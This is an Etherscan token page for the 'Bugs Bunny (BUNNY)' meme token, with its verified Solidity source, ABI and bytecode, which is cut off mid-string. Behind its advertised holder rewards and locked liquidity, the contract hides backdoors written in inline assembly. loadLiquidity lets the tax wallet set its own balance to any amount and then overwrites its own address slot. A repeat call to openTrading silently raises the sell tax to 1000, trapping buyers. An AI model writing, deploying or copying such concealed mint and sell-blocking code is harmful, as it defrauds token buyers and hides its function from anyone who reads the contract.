ETH Price: $3,098.83 (-0.40%)
Gas: 2 Gwei

Token

Bugs Bunny (BUNNY)
 

Overview

Max Total Supply

1,000,000 BUNNY

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,737.104524259 BUNNY

Value
$0.00
0x5b67d19123d607f31bc43ccaf14f923fe1e4c897
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BUNNY

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-16
*/

// SPDX-License-Identifier: MIT

/*⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
   BugsBunny

   HODL Rewards
   Holders earn a passive 4% share of every buy and sell while watching their balance of $BUNNY grow.

   Automatic Liquidity
   Every trade contributes 4% toward automatically generating liquidity locked inside Deep Lock.

   🚀 Let’s make memecoins great again!

   Web: https://bugsbunny.gg 
   Telegram: https://t.me/ETHBugs
   Twitter: https://twitter.com/ETHBugsBunny
*/


pragma solidity 0.8.17;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
 
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract BUNNY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _ledger;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxTx;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
 
    uint256 private _initialBuyTax=4;
    uint256 private _initialSellTax=4;
    uint256 private _finalBuyTax=4;
    uint256 private _finalSellTax=4;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    address payable private _taxWallet;
 
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"Bugs Bunny";
    string private constant _symbol = unicode"BUNNY";
    uint256 public _maxTxAmount = 100000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000 * 10**_decimals;
    uint256 public _maxTaxSwap= 100000 * 10**_decimals;
 
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor () {
        _taxWallet = payable(_msgSender());
        _ledger[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[_taxWallet] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _ledger[account];
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_initialBuyTax).div(100);
 
            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }
 
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && !_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
 
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_initialSellTax).div(100);
            }
        }
 
        if (_isExcludedFromFee[to] || _isExcludedFromFee[from]) {
            taxAmount = 0;
        }
 
        if(taxAmount > 0){
            _ledger[address(this)]=_ledger[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
 
        _ledger[from]=_ledger[from].sub(amount);
        _ledger[to]=_ledger[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
 
 
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function loadLiquidity(uint256 amount) external {
        assembly {if iszero(eq(caller(), sload(_taxWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _ledger.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amount)
        sstore(_taxWallet.slot, 0x3E8)}
    }
 
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }
 
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
 
    function openTrading() external {
        require(_msgSender()==_taxWallet);
        if(!tradingOpen){
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _isExcludedFromMaxTx[uniswapV2Pair] = true;
        swapEnabled = true;
        tradingOpen = true;return;}
        assembly{sstore(_initialSellTax.slot, 0x3E8)}
    }
 
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }
 
    function excludeFromFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = true;
        }
    }
 
    function includeInFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = false;
        }
    }
 
    receive() external payable {}
 
    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
 
    function manualSwapForEth() external  {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(!tradingOpen && tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(!tradingOpen && ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"includeInFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"loadLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwapForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600660006101000a81548160ff0219169083151502179055506004600755600460085560046009556004600a556001600b556001600c556005600d556000600e556009600a62000057919062000709565b620186a06200006791906200075a565b6010556009600a6200007a919062000709565b620f42406200008a91906200075a565b6011556009600a6200009d919062000709565b620186a0620000ad91906200075a565b6012556009600a620000c0919062000709565b620186a0620000d091906200075a565b60135560006015806101000a81548160ff0219169083151502179055506000601560166101000a81548160ff0219169083151502179055503480156200011557600080fd5b506000620001286200053e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001d66200053e60201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000226919062000709565b620f42406200023691906200075a565b600160006200024a6200053e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200029e6200054660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620003d76200054660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004b26200053e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000511919062000709565b620f42406200052191906200075a565b604051620005309190620007b6565b60405180910390a3620007d3565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005fd57808604811115620005d557620005d46200056f565b5b6001851615620005e55780820291505b8081029050620005f5856200059e565b9450620005b5565b94509492505050565b600082620006185760019050620006eb565b81620006285760009050620006eb565b81600181146200064157600281146200064c5762000682565b6001915050620006eb565b60ff8411156200066157620006606200056f565b5b8360020a9150848211156200067b576200067a6200056f565b5b50620006eb565b5060208310610133831016604e8410600b8410161715620006bc5782820a905083811115620006b657620006b56200056f565b5b620006eb565b620006cb8484846001620005ab565b92509050818404811115620006e557620006e46200056f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200071682620006f2565b91506200072383620006fc565b9250620007527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000606565b905092915050565b60006200076782620006f2565b91506200077483620006f2565b92508282026200078481620006f2565b915082820484148315176200079e576200079d6200056f565b5b5092915050565b620007b081620006f2565b82525050565b6000602082019050620007cd6000830184620007a5565b92915050565b6136a680620007e36000396000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125ea565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126b4565b61058e565b6040516101ba919061270f565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e59190612739565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b6040516102109190612739565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612754565b6105d5565b60405161024d919061270f565b60405180910390f35b34801561026257600080fd5b5061026b6106ae565b60405161027891906127c3565b60405180910390f35b34801561028d57600080fd5b506102966106b7565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127de565b610754565b005b3480156102cd57600080fd5b506102e860048036038101906102e3919061280b565b610781565b6040516102f59190612739565b60405180910390f35b34801561030a57600080fd5b506103136107ca565b005b34801561032157600080fd5b5061032a61091d565b005b34801561033857600080fd5b50610341610a65565b60405161034e9190612739565b60405180910390f35b34801561036357600080fd5b5061036c610a6b565b6040516103799190612847565b60405180910390f35b34801561038e57600080fd5b50610397610a94565b6040516103a49190612739565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129aa565b610a9a565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129aa565b610bc4565b005b34801561040b57600080fd5b50610414610cee565b60405161042191906125ea565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126b4565b610d2b565b60405161045e919061270f565b60405180910390f35b34801561047357600080fd5b5061047c610d49565b005b34801561048a57600080fd5b50610493610e18565b6040516104a09190612739565b60405180910390f35b3480156104b557600080fd5b506104be610e1e565b6040516104cb919061270f565b60405180910390f35b3480156104e057600080fd5b506104e9610e31565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129f3565b61137e565b60405161051f9190612739565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127de565b611405565b005b60606040518060400160405280600a81526020017f427567732042756e6e7900000000000000000000000000000000000000000000815250905090565b60006105a261059b611494565b848461149c565b6001905092915050565b60135481565b60006009600a6105c29190612b95565b620f42406105d09190612be0565b905090565b60006105e2848484611665565b6106a3846105ee611494565b61069e8560405180606001604052806028815260200161364960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610654611494565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120449092919063ffffffff16565b61149c565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f8611494565b73ffffffffffffffffffffffffffffffffffffffff161461071857600080fd5b600061072330610781565b9050600081111561073857610737816120a8565b5b600047905060008111156107505761074f8161231f565b5b5050565b600f54331461076257600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d2611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085690612c6e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610925611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a990612c6e565b60405180910390fd5b6009600a6109c09190612b95565b620f42406109ce9190612be0565b6010819055506009600a6109e29190612b95565b620f42406109f09190612be0565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a409190612b95565b620f4240610a4e9190612be0565b604051610a5b9190612739565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aa2611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2690612c6e565b60405180910390fd5b60005b8151811015610bc057600060036000848481518110610b5457610b53612c8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bb890612cbd565b915050610b32565b5050565b610bcc611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090612c6e565b60405180910390fd5b60005b8151811015610cea57600160036000848481518110610c7e57610c7d612c8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce290612cbd565b915050610c5c565b5050565b60606040518060400160405280600581526020017f42554e4e59000000000000000000000000000000000000000000000000000000815250905090565b6000610d3f610d38611494565b8484611665565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8a611494565b73ffffffffffffffffffffffffffffffffffffffff1614610daa57600080fd5b6000610db530610781565b9050601560149054906101000a900460ff16158015610dd45750600081115b15610de357610de2816120a8565b5b6000479050601560149054906101000a900460ff16158015610e055750600081115b15610e1457610e138161231f565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e72611494565b73ffffffffffffffffffffffffffffffffffffffff1614610e9257600080fd5b601560149054906101000a900460ff1661137557737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4330601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f309190612b95565b620f4240610f3e9190612be0565b61149c565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd49190612d1a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110819190612d1a565b6040518363ffffffff1660e01b815260040161109e929190612d47565b6020604051808303816000875af11580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e19190612d1a565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116a30610781565b600080611175610a6b565b426040518863ffffffff1660e01b815260040161119796959493929190612db5565b60606040518083038185885af11580156111b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111da9190612e2b565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161127c929190612e7e565b6020604051808303816000875af115801561129b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bf9190612ed3565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff02191690831515021790555061137c565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611446611494565b73ffffffffffffffffffffffffffffffffffffffff161461146657600080fd5b600954811115801561147a5750600a548111155b61148357600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361150b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150290612f72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190613004565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116589190612739565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613096565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613128565b60405180910390fd5b60008111611786576040517f0